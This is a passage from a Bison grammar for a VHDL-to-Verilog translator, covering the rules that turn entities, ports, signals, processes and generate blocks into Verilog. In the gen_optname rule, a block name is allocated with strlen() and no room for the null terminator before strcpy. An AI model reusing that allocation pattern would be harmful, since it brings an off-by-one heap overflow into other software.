p=io_list; for(;;){ if (vlog_ver == 1) { sl=addtxt(sl,p->dir); sl=addtxt(sl," "); sl=addptxt(sl,&(p->type)); sl=addpar(sl,p->range); } sl=addtxt(sl,p->name); p=p->next; if(p) sl=addtxt(sl,",\n"); else{ sl=addtxt(sl,"\n"); break; } } sl=addtxt(sl,");\n\n"); return sl; } %} %union { char * txt; /* String */ int n; /* Value */ vrange *v; /* Signal range */ sglist *sg; /* Signal list */ slist *sl; /* String list */ expdata *e; /* Expression structure */ slval *ss; /* Signal structure */ } %token <txt> REM ENTITY IS PORT GENERIC IN OUT INOUT MAP %token <txt> INTEGER BIT BITVECT DOWNTO TO TYPE END %token <txt> ARCHITECTURE COMPONENT OF ARRAY %token <txt> SIGNAL BEGN NOT WHEN WITH EXIT %token <txt> SELECT OTHERS PROCESS VARIABLE CONSTANT %token <txt> IF THEN ELSIF ELSE CASE %token <txt> FOR LOOP GENERATE %token <txt> AFTER AND OR XOR MOD %token <txt> LASTVALUE EVENT POSEDGE NEGEDGE %token <txt> STRING NAME RANGE NULLV OPEN %token <txt> CONVFUNC_1 CONVFUNC_2 BASED FLOAT %token <n> NATURAL %type <n> trad %type <sl> rem remlist entity %type <sl> portlist genlist architecture %type <sl> a_decl a_body p_decl oname %type <sl> map_list map_item mvalue sigvalue %type <sl> generic_map_list generic_map_item %type <sl> conf exprc sign_list p_body optname gen_optname %type <sl> edge %type <sl> elsepart wlist wvalue cases %type <sl> with_item with_list %type <sg> s_list %type <n> dir delay %type <v> type vec_range %type <n> updown %type <e> expr %type <e> simple_expr %type <ss> signal %type <txt> opt_is opt_generic opt_entity opt_architecture opt_begin %type <txt> generate endgenerate %right '=' /* Logic operators: */ %left ORL %left ANDL /* Binary operators: */ %left OR %left XOR %left XNOR %left AND %left MOD /* Comparison: */ %left '<' '>' BIGEQ LESSEQ NOTEQ EQUAL %left '+' '-' '&' %left '*' '/' %right UMINUS UPLUS NOTL NOT %error-verbose /* rule for "...ELSE IF edge THEN..." causes 1 shift/reduce conflict */ /* rule for opt_begin causes 1 shift/reduce conflict */ %expect 2 /* glr-parser is needed because processes can start with if statements, but * not have edges in them - more than one level of look-ahead is needed in that case * %glr-parser * unfortunately using glr-parser causes slists to become self-referential, causing core dumps! */ %% /* Input file must contain entity declaration followed by architecture */ trad : rem entity rem architecture rem { slist *sl; sl=output_timescale($1); sl=addsl(sl,$2); sl=addsl(sl,$3); sl=addsl(sl,$4); sl=addsl(sl,$5); sl=addtxt(sl,"\nendmodule\n"); slprint(sl); $$=0; } /* some people put entity declarations and architectures in separate files - * translate each piece - note that this will not make a legal Verilog file * - let them take care of that manually */ | rem entity rem { slist *sl; sl=addsl($1,$2); sl=addsl(sl,$3); sl=addtxt(sl,"\nendmodule\n"); slprint(sl); $$=0; } | rem architecture rem { slist *sl; sl=addsl($1,$2); sl=addsl(sl,$3); sl=addtxt(sl,"\nendmodule\n"); slprint(sl); $$=0; } ; /* Comments */ rem : /* Empty */ {$$=NULL; } | remlist {$$=$1; } ; remlist : REM {$$=addtxt(indents[indent],$1);} | REM remlist { slist *sl; sl=addtxt(indents[indent],$1); $$=addsl(sl,$2);} ; opt_is : /* Empty */ {$$=NULL;} | IS ; opt_entity : /* Empty */ {$$=NULL;} | ENTITY ; opt_architecture : /* Empty */ {$$=NULL;} | ARCHITECTURE ; opt_begin : /* Empty */ {$$=NULL;} | BEGN; generate : GENERATE opt_begin; endgenerate : END GENERATE; /* tell the lexer to discard or keep comments ('-- ') - this makes the grammar much easier */ norem : /*Empty*/ {skipRem = 1;} yesrem : /*Empty*/ {skipRem = 0;} /* Entity */ /* 1 2 3 4 5 6 7 8 9 10 11 12 13 */ entity : ENTITY NAME IS rem PORT '(' rem portlist ')' ';' rem END opt_entity oname ';' { slist *sl; sglist *p; sl=addtxt(NULL,"\nmodule "); sl=addtxt(sl,$2); /* NAME */ /* Add the signal list */ sl=emit_io_list(sl); sl=addsl(sl,$7); /* rem */ sl=addsl(sl,$8); /* portlist */ sl=addtxt(sl,"\n"); p=io_list; if (vlog_ver == 0) { do{ sl=addptxt(sl,&(p->type)); /*sl=addtxt(sl,p->type);*/ sl=addpar(sl,p->range); sl=addtxt(sl,p->name); /* sl=addpost(sl,p->range); */ sl=addtxt(sl,";\n"); p=p->next; } while(p!=NULL); } sl=addtxt(sl,"\n"); sl=addsl(sl,$11); /* rem2 */ $$=addtxt(sl,"\n"); } /* 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 */ | ENTITY NAME IS GENERIC yeslist '(' rem genlist ')' ';' rem PORT yeslist '(' rem portlist ')' ';' rem END opt_entity oname ';' { slist *sl; sglist *p; if (0) fprintf(stderr,"matched ENTITY GENERIC\n"); sl=addtxt(NULL,"\nmodule "); sl=addtxt(sl,$2); /* NAME */ sl=emit_io_list(sl); sl=addsl(sl,$7); /* rem */ sl=addsl(sl,$8); /* genlist */ sl=addsl(sl,$11); /* rem */ sl=addsl(sl,$15); /* rem */ sl=addsl(sl,$16); /* portlist */ sl=addtxt(sl,"\n"); p=io_list; if (vlog_ver == 0) { do{ sl=addptxt(sl,&(p->type)); /*sl=addtxt(sl,p->type);*/ sl=addpar(sl,p->range); sl=addtxt(sl,p->name); sl=addtxt(sl,";\n"); p=p->next; } while(p!=NULL); } sl=addtxt(sl,"\n"); sl=addsl(sl,$19); /* rem2 */ $$=addtxt(sl,"\n"); } ; /* 1 2 3 4 5 6 7 */ genlist : s_list ':' type ':' '=' expr rem { if(dolist){ slist *sl; sglist *p; sl=addtxt(NULL,"parameter"); sl=addpar(sl,$3); /* type */ p=$1; for(;;){ sl=addtxt(sl,p->name); sl=addtxt(sl,"="); sl=addsl(sl, $6->sl); /* expr */ sl=addtxt(sl,";\n"); p=p->next; if(p==NULL) break; } $$=addsl(sl,$7); /* rem */ } else { $$=NULL; } } /* 1 2 3 4 5 6 7 8 9 */ | s_list ':' type ':' '=' expr ';' rem genlist { if(dolist){ slist *sl; sglist *p; sl=addtxt(NULL,"parameter"); sl=addpar(sl,$3); /* type */ p=$1; for(;;){ sl=addtxt(sl,p->name); sl=addtxt(sl,"="); sl=addsl(sl, $6->sl); /* expr */ sl=addtxt(sl,";\n"); p=p->next; if(p==NULL) break; } $$=addsl(sl,$8); /* rem */ $$=addsl(sl,$9); /* genlist */ } else { $$=NULL; } } /* 1 2 3 4 5 6 */ | s_list ':' type ';' rem genlist { if(dolist){ slist *sl; sglist *p; sl=addtxt(NULL,"parameter"); sl=addpar(sl,$3); /* type */ p=$1; for(;;){ sl=addtxt(sl,p->name); sl=addtxt(sl,";\n"); p=p->next; if(p==NULL) break; } $$=addsl(sl,$5); /* rem */ $$=addsl(sl,$6); /* genlist */ } else { $$=NULL; } } /* 1 2 3 4 */ | s_list ':' type rem { if(dolist){ slist *sl; sglist *p; sl=addtxt(NULL,"parameter"); sl=addpar(sl,$3); /* type */ p=$1; for(;;){ sl=addtxt(sl,p->name); sl=addtxt(sl,";\n"); p=p->next; if(p==NULL) break; } $$=addsl(sl,$4); /* rem */ } else { $$=NULL; } } ; /* 1 2 3 4 5 */ portlist : s_list ':' dir type rem { slist *sl; if(dolist){ io_list=NULL; sl=setup_port($1,$3,$4); /* modifies io_list global */ $$=addsl(sl,$5); } else{ free($5); free($4); } } /* 1 2 3 4 5 6 7 */ | s_list ':' dir type ';' rem portlist { slist *sl; if(dolist){ sl=setup_port($1,$3,$4); /* modifies io_list global */ sl=addsl(sl,$6); $$=addsl(sl,$7); } else{ free($6); free($4); } } /* 1 2 3 4 5 6 7 8 */ | s_list ':' dir type ':' '=' expr rem { slist *sl; fprintf(stderr,"Warning on line %d: " "port default initialization ignored\n",lineno); if(dolist){ io_list=NULL; sl=setup_port($1,$3,$4); /* modifies io_list global */ $$=addsl(sl,$8); } else{ free($8); free($4); } } /* 1 2 3 4 5 6 7 8 9 10 */ | s_list ':' dir type ':' '=' expr ';' rem portlist { slist *sl; fprintf(stderr,"Warning on line %d: " "port default initialization ignored\n",lineno); if(dolist){ sl=setup_port($1,$3,$4); /* modifies io_list global */ sl=addsl(sl,$9); $$=addsl(sl,$10); } else{ free($9); free($4); } } ; dir : IN { $$=0;} | OUT { $$=1; } | INOUT { $$=2; } ; type : BIT { $$=new_vrange(tSCALAR); } | INTEGER RANGE expr TO expr { fprintf(stderr,"Warning on line %d: integer range ignored\n",lineno); $$=new_vrange(tSCALAR); $$->nlo = addtxt(NULL,"0"); $$->nhi = addtxt(NULL,"31"); } | INTEGER { $$=new_vrange(tSCALAR); $$->nlo = addtxt(NULL,"0"); $$->nhi = addtxt(NULL,"31"); } | BITVECT '(' vec_range ')' {$$=$3;} | NAME { sglist *sg; sg=lookup(type_list,$1); if(sg) $$=sg->range; else{ fprintf(stderr,"Undefined type '%s' on line %d\n",$1,lineno); YYABORT; } } ; /* using expr instead of simple_expr here makes the grammar ambiguous (why?) */ vec_range : simple_expr updown simple_expr { $$=new_vrange(tVRANGE); $$->nhi=$1->sl; $$->nlo=$3->sl; $$->sizeval = -1; /* undefined size */ /* calculate the width of this vrange */ if ($1->op == 'n' && $3->op == 'n') { if ($2==-1) { /* (nhi:natural downto nlo:natural) */ $$->sizeval = $1->value - $3->value + 1; } else { /* (nhi:natural to nlo:natural) */ $$->sizeval = $3->value - $1->value + 1; } } else { /* make an expression to calculate the width of this vrange: * create an expression that calculates: * size expr = (simple_expr1) - (simple_expr2) + 1 */ expdata *size_expr1 = xmalloc(sizeof(expdata)); expdata *size_expr2 = xmalloc(sizeof(expdata)); expdata *diff12 = xmalloc(sizeof(expdata)); expdata *plusone = xmalloc(sizeof(expdata)); expdata *finalexpr = xmalloc(sizeof(expdata)); size_expr1->sl = addwrap("(",$1->sl,")"); size_expr2->sl = addwrap("(",$3->sl,")"); plusone->op='t'; plusone->sl=addtxt(NULL,"1"); if ($2==-1) { /* (simple_expr1 downto simple_expr1) */ diff12 = addexpr(size_expr1,'-',"-",size_expr2); } else { /* (simple_expr1 to simple_expr1) */ diff12 = addexpr(size_expr2,'-',"-",size_expr1); } finalexpr = addexpr(diff12,'+',"+",plusone); finalexpr->sl = addwrap("(",finalexpr->sl,")"); $$->size_expr = finalexpr->sl; } } | simple_expr { $$=new_vrange(tSUBSCRIPT); $$->nlo=$1->sl; } | NAME '\'' RANGE { /* lookup NAME and copy its vrange */ sglist *sg = NULL; if((sg=lookup(io_list,$1))==NULL) { sg=lookup(sig_list,$1); } if(sg) { $$ = sg->range; } else { fprintf(stderr,"Undefined range \"%s'range\" on line %d\n",$1,lineno); YYABORT; } } ; updown : DOWNTO { $$ = -1; } | TO { $$ = 1; } ; /* Architecture */ architecture : ARCHITECTURE NAME OF NAME IS rem a_decl BEGN doindent a_body END opt_architecture oname ';' unindent { slist *sl; sl=addsl($6,$7); sl=addtxt(sl,"\n"); $$=addsl(sl,$10); } ; /* Extends indentation by one level */ doindent : /* Empty */ {indent= indent < MAXINDENT ? indent + 1 : indent;} ; /* Shorten indentation by one level */ unindent : /* Empty */ {indent= indent > 0 ? indent - 1 : indent;} /* Declarative part of the architecture */ a_decl : {$$=NULL;} | a_decl SIGNAL s_list ':' type ';' rem { sglist *sg; slist *sl; int size; if($5->vtype==tSUBSCRIPT) size=1; else size=-1; sl=$1; sg=$3; for(;;){ sg->type=wire; sg->range=$5; sl=addptxt(sl,&(sg->type)); sl=addpar(sl,$5); sl=addtxt(sl,sg->name); sl=addpost(sl,$5); sl=addtxt(sl,";"); if(sg->next == NULL) break; sl=addtxt(sl," "); sg=sg->next; } sg->next=sig_list; sig_list=$3; $$=addrem(sl,$7); } | a_decl SIGNAL s_list ':' type ':' '=' expr ';' rem { sglist *sg; slist *sl; int size; if($5->vtype==tSUBSCRIPT) size=1; else size=-1; sl=$1; sg=$3; for(;;){ sg->type=wire; sg->range=$5; sl=addptxt(sl,&(sg->type)); sl=addpar(sl,$5); sl=addtxt(sl,sg->name); sl=addpost(sl,$5); sl=addtxt(sl," = "); sl=addsl(sl,$8->sl); sl=addtxt(sl,";"); if(sg->next == NULL) break; sl=addtxt(sl," "); sg=sg->next; } sg->next=sig_list; sig_list=$3; $$=addrem(sl,$10); } | a_decl CONSTANT NAME ':' type ':' '=' expr ';' rem { slist * sl; sl=addtxt($1,"parameter "); sl=addtxt(sl,$3); sl=addtxt(sl," = "); sl=addsl(sl,$8->sl); sl=addtxt(sl,";"); $$=addrem(sl,$10); } | a_decl TYPE NAME IS '(' s_list ')' ';' rem { slist *sl, *sl2; sglist *p; int n,k; n=0; sl=NULL; p=$6; for(;;){ sl=addtxt(sl," "); sl=addtxt(sl,p->name); sl=addtxt(sl," = "); sl=addval(sl,n++); p=p->next; if(p==NULL){ sl=addtxt(sl,";\n"); break; } else sl=addtxt(sl,",\n"); } n--; k=find_msb(n); sl2=addtxt(NULL,"parameter ["); sl2=addval(sl2,k); sl2=addtxt(sl2,":0]\n"); sl=addsl(sl2,sl); sl=addsl($1,sl); $$=addrem(sl,$9); p=xmalloc(sizeof(sglist)); p->name=$3; if(k>0) { p->range=new_vrange(tVRANGE); p->range->sizeval = k+1; p->range->nhi=addval(NULL,k); p->range->nlo=addtxt(NULL,"0"); } else { p->range=new_vrange(tSCALAR); } p->next=type_list; type_list=p; } | a_decl TYPE NAME IS ARRAY '(' vec_range ')' OF type ';' rem { slist *sl=NULL; sglist *p; $$=addrem(sl,$12); p=xmalloc(sizeof(sglist)); p->name=$3; p->range=$10; p->range->xhi=$7->nhi; p->range->xlo=$7->nlo; p->next=type_list; type_list=p; } /* 1 2 3 4 5r1 6 7 8 9r2 10 11 12 13r3 14 15 16 17 18 19r4 */ | a_decl COMPONENT NAME opt_is rem opt_generic PORT nolist '(' rem portlist ')' ';' rem END COMPONENT oname ';' yeslist rem { $$=addsl($1,$20); /* a_decl, rem4 */ free($3); /* NAME */ free($10); /* rem2 */ free($14);/* rem3 */ } ; opt_generic : /* Empty */ {$$=NULL;} | GENERIC nolist '(' rem genlist ')' ';' rem { if (0) fprintf(stderr,"matched opt_generic\n"); free($4); /* rem */ free($8); /* rem */ $$=NULL; } ; nolist : /*Empty*/ {dolist = 0;} yeslist : /*Empty*/ {dolist = 1;} /* XXX wishlist: record comments into slist, play them back later */ s_list : NAME rem { sglist * sg; if(dolist){ sg=xmalloc(sizeof(sglist)); sg->name=$1; sg->next=NULL; $$=sg; } else{ free($1); $$=NULL; } free($2); } | NAME ',' rem s_list { sglist * sg; if(dolist){ sg=xmalloc(sizeof(sglist)); sg->name=$1; sg->next=$4; $$=sg; } else{ free($1); $$=NULL; } free($3); } ; a_body : rem {$$=addind($1);} /* 1 2 3 4 5 6 7 8 9 */ | rem signal '<' '=' rem norem sigvalue yesrem a_body { slist *sl; sl=addsl($1,indents[indent]); sl=addtxt(sl,"assign "); sl=addsl(sl,$2->sl); findothers($2,$7); free($2); sl=addtxt(sl," = "); sl=addsl(sl,$7); sl=addtxt(sl,";\n"); $$=addsl(sl,$9); } | rem BEGN signal '<' '=' rem norem sigvalue yesrem a_body END NAME ';' { slist *sl; sl=addsl($1,indents[indent]); sl=addtxt(sl,"assign "); sl=addsl(sl,$3->sl); findothers($3,$8); free($3); sl=addtxt(sl," = "); sl=addsl(sl,$8); sl=addtxt(sl,";\n"); $$=addsl(sl,$10); } /* 1 2 3 4 5 6 7 8 9 10 11 */ | rem WITH expr SELECT rem yeswith signal '<' '=' with_list a_body { slist *sl; sglist *sg; char *s; sl=addsl($1,indents[indent]); sl=addtxt(sl,"always @(*) begin\n"); sl=addsl(sl,indents[indent]); sl=addtxt(sl," case("); sl=addsl(sl,$3->sl); free($3); sl=addtxt(sl,")\n"); if($5) sl=addsl(sl,$5); s=sbottom($7->sl); if((sg=lookup(io_list,s))==NULL) sg=lookup(sig_list,s); if(sg) sg->type=reg; findothers($7,$10); free($7); sl=addsl(sl,$10); sl=addsl(sl,indents[indent]); sl=addtxt(sl," endcase\n"); sl=addsl(sl,indents[indent]); sl=addtxt(sl,"end\n\n"); $$=addsl(sl,$11); } /* 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 */ | rem NAME ':' NAME rem PORT MAP '(' doindent map_list rem ')' ';' unindent a_body { slist *sl; sl=addsl($1,indents[indent]); sl=addtxt(sl,$4); /* NAME2 */ sl=addtxt(sl," "); sl=addtxt(sl,$2); /* NAME1 */ sl=addtxt(sl,"(\n"); sl=addsl(sl,indents[indent]); sl=addsl(sl,$10); /* map_list */ sl=addtxt(sl,");\n\n"); $$=addsl(sl,$15); /* a_body */ } /* 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 */ | rem NAME ':' NAME rem GENERIC MAP '(' doindent generic_map_list ')' unindent PORT MAP '(' doindent map_list ')' ';' unindent a_body { slist *sl; sl=addsl($1,indents[indent]); sl=addtxt(sl,$4); /* NAME2 (component name) */ if ($5) { sl=addsl(sl,$5); sl=addsl(sl,indents[indent]); } sl=addtxt(sl," #(\n"); sl=addsl(sl,indents[indent]); sl=addsl(sl,$10); /* (generic) map_list */ sl=addtxt(sl,")\n"); sl=addsl(sl,indents[indent]); sl=addtxt(sl,$2); /* NAME1 (instance name) */ sl=addtxt(sl,"(\n"); sl=addsl(sl,indents[indent]); sl=addsl(sl,$17); /* map_list */ sl=addtxt(sl,");\n\n"); $$=addsl(sl,$21); /* a_body */ } | optname PROCESS '(' sign_list ')' p_decl opt_is BEGN doindent p_body END PROCESS oname ';' unindent a_body { slist *sl; if (0) fprintf(stderr,"process style 1\n"); sl=add_always($1,$4,$6,0); sl=addsl(sl,$10); sl=addsl(sl,indents[indent]); sl=addtxt(sl,"end\n\n"); $$=addsl(sl,$16); } | optname PROCESS '(' sign_list ')' p_decl opt_is BEGN doindent rem IF edge THEN p_body END IF ';' END PROCESS oname ';' unindent a_body { slist *sl; if (0) fprintf(stderr,"process style 2: if then end if\n"); sl=add_always($1,$4,$6,1); if($10){ sl=addsl(sl,indents[indent]); sl=addsl(sl,$10); } sl=addsl(sl,$14); sl=addsl(sl,indents[indent]); sl=addtxt(sl,"end\n\n"); $$=addsl(sl,$23); } /* 1 2 3 4 5 6 7 8 9 */ | optname PROCESS '(' sign_list ')' p_decl opt_is BEGN doindent /* 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 */ rem IF exprc THEN doindent p_body unindent ELSIF edge THEN doindent p_body unindent END IF ';' /* 26 27 28 29 30 31 */ END PROCESS oname ';' unindent a_body { slist *sl; if (0) fprintf(stderr,"process style 3: if then elsif then end if\n"); sl=add_always($1,$4,$6,1); if($10){ sl=addsl(sl,indents[indent]); sl=addsl(sl,$10); } sl=addsl(sl,indents[indent]); sl=addtxt(sl," if("); sl=addsl(sl,$12); sl=addtxt(sl,") begin\n"); sl=addsl(sl,$15); sl=addsl(sl,indents[indent]); sl=addtxt(sl," end else begin\n"); sl=addsl(sl,$21); sl=addsl(sl,indents[indent]); sl=addtxt(sl," end\n"); sl=addsl(sl,indents[indent]); sl=addtxt(sl,"end\n\n"); $$=addsl(sl,$31); } /* 1 2 3 4 5 6 7 8 9 */ | optname PROCESS '(' sign_list ')' p_decl opt_is BEGN doindent /* 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 */ rem IF exprc THEN doindent p_body unindent ELSE IF edge THEN doindent p_body unindent END IF ';' END IF ';' /* 30 31 32 33 34 35 */ END PROCESS oname ';' unindent a_body { slist *sl; if (0) fprintf(stderr,"process style 4: if then else if then end if\n"); sl=add_always($1,$4,$6,1); if($10){ sl=addsl(sl,indents[indent]); sl=addsl(sl,$10); } sl=addsl(sl,indents[indent]); sl=addtxt(sl," if("); sl=addsl(sl,$12); /* exprc */ sl=addtxt(sl,") begin\n"); sl=addsl(sl,$15); /* p_body:1 */ sl=addsl(sl,indents[indent]); sl=addtxt(sl," end else begin\n"); sl=addsl(sl,$22); /* p_body:2 */ sl=addsl(sl,indents[indent]); sl=addtxt(sl," end\n"); sl=addsl(sl,indents[indent]); sl=addtxt(sl,"end\n\n"); $$=addsl(sl,$35); /* a_body */ } /* note vhdl does not allow an else in an if generate statement */ /* 1 2 3 4 5 6 7 8 9 10 11 12 */ | gen_optname IF exprc generate doindent a_body unindent endgenerate oname ';' a_body { slist *sl; blknamelist *tname_list; sl=addsl($1,indents[indent]); sl=addtxt(sl,"generate "); sl=addtxt(sl,"if ("); sl=addsl(sl,$3); /* exprc */ sl=addtxt(sl,") begin: "); tname_list=blkname_list; sl=addtxt(sl,tname_list->name); blkname_list=blkname_list->next; if (tname_list!=NULL) { free(tname_list->name); free(tname_list); } sl=addtxt(sl,"\n"); sl=addsl(sl,indents[indent]); sl=addsl(sl,$6); /* a_body:1 */ sl=addsl(sl,indents[indent]); sl=addtxt(sl,"end\n"); sl=addsl(sl,indents[indent]); sl=addtxt(sl,"endgenerate\n"); $$=addsl(sl,$11); /* a_body:2 */ } /* 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 */ | gen_optname FOR signal IN expr TO expr generate doindent a_body unindent endgenerate oname ';' a_body { slist *sl; blknamelist *tname_list; sl=addsl($1,indents[indent]); sl=addtxt(sl,"genvar "); sl=addsl(sl,$3->sl); /* signal */ sl=addtxt(sl,";\n"); sl=addsl(sl,indents[indent]); sl=addtxt(sl,"generate "); sl=addtxt(sl,"for ("); sl=addsl(sl,$3->sl); /* signal */ sl=addtxt(sl,"="); sl=addsl(sl,$5->sl); /* expr:1 */ sl=addtxt(sl,"; "); sl=addsl(sl,$3->sl); /* signal */ sl=addtxt(sl," <= "); sl=addsl(sl,$7->sl); /* expr:2 */ sl=addtxt(sl,"; "); sl=addsl(sl,$3->sl); /* signal */ sl=addtxt(sl," = "); sl=addsl(sl,$3->sl); /* signal */ sl=addtxt(sl," + 1) begin: "); tname_list=blkname_list; sl=addtxt(sl,tname_list->name); blkname_list=blkname_list->next; if (tname_list!=NULL) { free(tname_list->name); free(tname_list); } sl=addtxt(sl,"\n"); sl=addsl(sl,indents[indent]); sl=addsl(sl,$10); /* a_body:1 */ sl=addsl(sl,indents[indent]); sl=addtxt(sl,"end\n"); sl=addsl(sl,indents[indent]); sl=addtxt(sl,"endgenerate\n"); $$=addsl(sl,$15); /* a_body:2 */ } /* 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 */ | gen_optname FOR signal IN expr DOWNTO expr generate doindent a_body unindent endgenerate oname ';' a_body { slist *sl; blknamelist* tname_list; sl=addsl($1,indents[indent]); sl=addtxt(sl,"genvar "); sl=addsl(sl,$3->sl); /* signal */ sl=addtxt(sl,";\n"); sl=addsl(sl,indents[indent]); sl=addtxt(sl,"generate "); sl=addtxt(sl,"for ("); sl=addsl(sl,$3->sl); /* signal */ sl=addtxt(sl,"="); sl=addsl(sl,$5->sl); /* expr:1 */ sl=addtxt(sl,"; "); sl=addsl(sl,$3->sl); /* signal */ sl=addtxt(sl," >= "); sl=addsl(sl,$7->sl); /* expr:2 */ sl=addtxt(sl,"; "); sl=addsl(sl,$3->sl); /* signal */ sl=addtxt(sl," = "); sl=addsl(sl,$3->sl); /* signal */ sl=addtxt(sl," - 1) begin: "); tname_list=blkname_list; sl=addtxt(sl,tname_list->name); blkname_list=blkname_list->next; if (tname_list!=NULL) { free(tname_list->name); free(tname_list); } sl=addtxt(sl,"\n"); sl=addsl(sl,$10); /* a_body:1 */ sl=addsl(sl,indents[indent]); sl=addtxt(sl,"end\n"); sl=addsl(sl,indents[indent]); sl=addtxt(sl,"endgenerate\n"); $$=addsl(sl,$15); /* a_body:2 */ } ; oname : {$$=NULL;} | NAME {free($1); $$=NULL;} ; optname : rem {$$=$1;} | rem NAME ':' {$$=$1; free($2);} gen_optname : rem {$$=$1;} | rem NAME ':' { blknamelist *tname_list; tname_list = xmalloc (sizeof(blknamelist)); tname_list->name = xmalloc(strlen($2)); strcpy(tname_list->name, $2); tname_list->next = blkname_list; blkname_list=tname_list; $$=$1; free($2); } ; edge : '(' edge ')' {$$=addwrap("(",$2,")");} | NAME '\'' EVENT AND exprc { push_clkedge($5->data.sl->data.txt[0]-'0', "name'event and exprc"); } | exprc AND NAME '\'' EVENT { push_clkedge($1->data.sl->data.txt[0]-'0', "exprc and name'event"); } | POSEDGE '(' NAME ')' { push_clkedge(1, "explicit"); } | NEGEDGE '(' NAME ')' { push_clkedge(0, "explicit"); } ; yeswith : {dowith=1;} with_list : with_item ';' {$$=$1;} | with_item ',' rem with_list { slist *sl; if($3){ sl=addsl($1,$3); $$=addsl(sl,$4); } else $$=addsl($1,$4); } | expr delay WHEN OTHERS ';' { slist *sl; sl=addtxt(indents[indent]," default : "); sl=addsl(sl,slwith); sl=addtxt(sl," <= "); if(delay && $2){ sl=addtxt(sl,"# "); sl=addval(sl,$2); sl=addtxt(sl," "); } if($1->op == 'c') sl=addsl(sl,addwrap("{",$1->sl,"}")); else sl=addsl(sl,$1->sl); free($1); delay=1; $$=addtxt(sl,";\n"); } with_item : expr delay WHEN wlist { slist *sl; sl=addtxt(indents[indent]," "); sl=addsl(sl,$4); sl=addtxt(sl," : "); sl=addsl(sl,slwith); sl=addtxt(sl," <= "); if(delay && $2){ sl=addtxt(sl,"# "); sl=addval(sl,$2); sl=addtxt(sl," "); } if($1->op == 'c') sl=addsl(sl,addwrap("{",$1->sl,"}")); else sl=addsl(sl,$1->sl); free($1); delay=1; $$=addtxt(sl,";\n"); } p_decl : rem { $$ = $1; } | rem VARIABLE s_list ':' type ';' p_decl { slist *sl; sglist *sg, *p; sl=addtxt($1," reg"); sl=addpar(sl,$5); free($5); sg=$3; for(;;){ sl=addtxt(sl,sg->name); p=sg; sg=sg->next; free(p); if(sg) sl=addtxt(sl,", "); else break; } sl=addtxt(sl,";\n"); $$=addsl(sl,$7); } | rem VARIABLE s_list ':' type ':' '=' expr ';' p_decl { slist *sl; sglist *sg, *p; sl=addtxt($1," reg"); sl=addpar(sl,$5); free($5); sg=$3; for(;;){ sl=addtxt(sl,sg->name); p=sg; sg=sg->next; free(p); if(sg) sl=addtxt(sl,", "); else break; } sl=addtxt(sl," = "); sl=addsl(sl,$8->sl); sl=addtxt(sl,";\n"); $$=addsl(sl,$10); } ; p_body : rem {$$=$1;} /* 1 2 3 4 5 6 7 8 9 */ | rem signal ':' '=' norem expr ';' yesrem p_body { slist *sl; sl=addsl($1,indents[indent]); sl=addsl(sl,$2->sl); findothers($2,$6->sl); sl=addtxt(sl," = "); if($6->op == 'c') sl=addsl(sl,addwrap("{",$6->sl,"}")); else sl=addsl(sl,$6->sl); sl=addtxt(sl,";\n"); $$=addsl(sl,$9); } /* 1 2 3 4 5 6 7 8 */ | rem signal norem '<' '=' sigvalue yesrem p_body { slist *sl; sglist *sg; char *s; s=sbottom($2->sl); if((sg=lookup(io_list,s))==NULL) sg=lookup(sig_list,s); if(sg) sg->type=reg; sl=addsl($1,indents[indent]); sl=addsl(sl,$2->sl); findothers($2,$6); sl=addtxt(sl," <= "); sl=addsl(sl,$6); sl=addtxt(sl,";\n"); $$=addsl(sl,$8); } /* 1 2 3 4 5 6:1 7 8 9 10 11 12:2 */ | rem IF exprc THEN doindent p_body unindent elsepart END IF ';' p_body { slist *sl; sl=addsl($1,indents[indent]); sl=addtxt(sl,"if("); sl=addsl(sl,$3); sl=addtxt(sl,") begin\n"); sl=addsl(sl,$6); sl=addsl(sl,indents[indent]); sl=addtxt(sl,"end\n"); sl=addsl(sl,$8); $$=addsl(sl,$12); } /* 1 2 3 4 5:1 6 7:2 8 9 10:1 11 12 13 14 15:2 */ | rem FOR signal IN expr TO expr LOOP doindent p_body unindent END LOOP ';' p_body { slist *sl; sl=addsl($1,indents[indent]); sl=addtxt(sl,"for ("); sl=addsl(sl,$3->sl); /* signal */ sl=addtxt(sl,"="); sl=addsl(sl,$5->sl); /* expr:1 */ sl=addtxt(sl,"; "); sl=addsl(sl,$3->sl); /* signal */ sl=addtxt(sl," <= "); sl=addsl(sl,$7->sl); /* expr:2 */ sl=addtxt(sl,"; "); sl=addsl(sl,$3->sl); /* signal */ sl=addtxt(sl," = "); sl=addsl(sl,$3->sl); /* signal */ sl=addtxt(sl," + 1) begin\n"); sl=addsl(sl,$10); /* p_body:1 */ sl=addsl(sl,indents[indent]); sl=addtxt(sl,"end\n"); $$=addsl(sl,$15); /* p_body:2 */ } /* 1 2 3 4 5:1 6 7:2 8 9 10:1 11 12 13 14 15:2 */ | rem FOR signal IN expr DOWNTO expr LOOP doindent p_body unindent END LOOP ';' p_body { slist *sl; sl=addsl($1,indents[indent]); sl=addtxt(sl,"for ("); sl=addsl(sl,$3->sl); /* signal */ sl=addtxt(sl,"="); sl=addsl(sl,$5->sl); /* expr:1 */ sl=addtxt(sl,"; "); sl=addsl(sl,$3->sl); /* signal */ sl=addtxt(sl," >= "); sl=addsl(sl,$7->sl); /* expr:2 */ sl=addtxt(sl,"; "); sl=addsl(sl,$3->sl); /* signal */ sl=addtxt(sl," = "); sl=addsl(sl,$3->sl); /* signal */ sl=addtxt(sl," - 1) begin\n"); sl=addsl(sl,$10); /* p_body:1 */ sl=addsl(sl,indents[indent]); sl=addtxt(sl,"end\n"); $$=addsl(sl,$15); /* p_body:2 */ } /* 1 2 3 4 5 6 7 8 9 10 */ | rem CASE signal IS rem cases END CASE ';' p_body { slist *sl; sl=addsl($1,indents[indent]); sl=addtxt(sl,"case("); sl=addsl(sl,$3->sl); /* signal */ sl=addtxt(sl,")\n"); if($5){ sl=addsl(sl,indents[indent]); sl=addsl(sl,$5); } sl=addsl(sl,$6); sl=addsl(sl,indents[indent]); sl=addtxt(sl,"endcase\n"); $$=addsl(sl,$10); } | rem EXIT ';' p_body { slist *sl; sl=addsl($1,indents[indent]); sl=addtxt(sl,"disable; //VHD2VL: add block name here\n"); 